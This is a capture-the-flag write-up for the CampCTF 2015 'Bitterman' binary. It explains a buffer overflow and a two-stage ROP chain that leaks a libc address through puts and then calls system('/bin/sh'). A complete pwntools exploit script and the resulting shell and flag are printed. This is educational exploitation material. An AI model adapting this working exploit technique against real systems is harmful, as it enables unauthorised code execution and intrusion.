CampCTF 2015 - Bitterman
Upon connecting, we are given a prompt which asks for the following items:
- Name
- Length of a message
- The message itself
As per normal, let’s try the low hanging fruit of throwing lots of data at each field to see if we get a crash.
Turns out, if we say that we will send 1024 bytes and send 1024 bytes, we crash shrug (If there is time after the CTF, I’ll go back and see what exactly caused the crash)
Exploit
Because NX is turned on, we need to do some fancy ROP. Our ROP strategy is below:
- Leak a libc address via ROPing to
puts()
withputs
as the parameter.- This will return the address of
puts
in the libc the binary is using. - We can calculate the libc base address since we were given their libc in the problem (leaked_libc_read_address - original_libc_from_challenge = base_libc_on_server)
- This will return the address of
- Call main so we can re-exploit with the knowledge of the libc base address.
This ROP construction is here:
from pwn import *
elf = ELF('./bitterman')
rop = ROP(elf)
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
print rop.dump()
Leaking the address from this ROP chain and rebasing the libc address in pwntools is below:
# Be sure to add the zeros that we miss due to string read
# Grab the first 8 bytes of our output buffer
leaked_puts = r.recv()[:8].strip().ljust(8, '\x00')
# Convert to integer
leaked_puts = struct.unpack('Q', leaked_puts)[0]
# Rebase libc to the leaked offset
libc.address = leaked_puts - libc.symbols['puts']
From here, we can create a second ROP which will simply call system
with /bin/sh
. Luckily, /bin/sh
is in libc, so we simply find where that string is, and call system
with it.
The second ROP construction is below:
# Create new ROP object with rebased libc
rop2 = ROP(libc)
# Call system('/bin/sh')
rop2.system(next(libc.search('/bin/sh\x00')))
print rop2.dump()
Our shell is received and the flag is given:
$ ls
bitterman
flag.txt
run.sh
$ cat flag.txt
CAMP15_a786be6aca70bfd19b6af86133991f80
Final Exploit
from pwn import *
import struct
context(arch='amd64')
r = process('./bitterman')
# r = remote('challs.campctf.ccc.ac','10103')
elf = ELF('./bitterman')
libc = ELF('libc.so.6')
# libc = ELF('libc-2.19.so')
rop = ROP(elf)
"""
gdb.attach(r, '''
bp 0x400704
''')
"""
print r.recv()
# raw_input()
### Stack address leaked when filling the name buffer to its max (64 bytes)
# r.sendline('a' * 64)
# leak = r.recv().split()[1][64:72]
r.sendline('')
r.recv()
r.sendline('1024')
####
# Leak read from GOT
# Call main to rethrow exploit with magic libc gadget
###
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
log.info("ROP 1 - read( puts() from GOT); call main")
print rop.dump()
"""
RIP 0x4007e1 (main+245) <-- ret
[-------------------------------CODE-------------------------------]
=> 0x4007e1 <main+245> ret
[------------------------------STACK-------------------------------]
00:0000| rsp 0x7fffffffdaf8 <-- 'naaboaabpaabqaa...'
"""
shellcode = 'B' * (cyclic_find(unhex('6261616f')[::-1]) - 4)
# shellcode = 'B' * (cyclic_find('oaab') - 4)
shellcode += str(rop)
r.clean()
r.sendline(shellcode)
r.recvuntil('Thanks!')
log.info("Sending stage two")
# Be sure to add the zeros that we miss due to string read
leaked_puts = r.recv()[:8].strip().ljust(8, '\x00')
log.info("Leak: {}".format(repr(leaked_puts)))
leaked_puts = struct.unpack('Q', leaked_puts)[0]
# Reset libc to the leaked offset
libc.address = leaked_puts - libc.symbols['puts']
log.info('Libc address: {}'.format(hex(libc.address)))
# Create new ROP object with rebased libc
rop2 = ROP(libc)
# Call system('/bin/sh')
rop2.system(next(libc.search('/bin/sh\x00')))
log.info("ROP 2:")
print rop2.dump()
r.clean()
raw_input('name')
r.sendline('')
raw_input('length')
r.sendline('1024')
shellcode = 'B' * (cyclic_find(unhex('6261616f')[::-1]) - 4)
shellcode += str(rop2)
raw_input('send?')
r.sendline(shellcode)
r.interactive()
git clone https://github.com/ctfhacker/ctf-writeups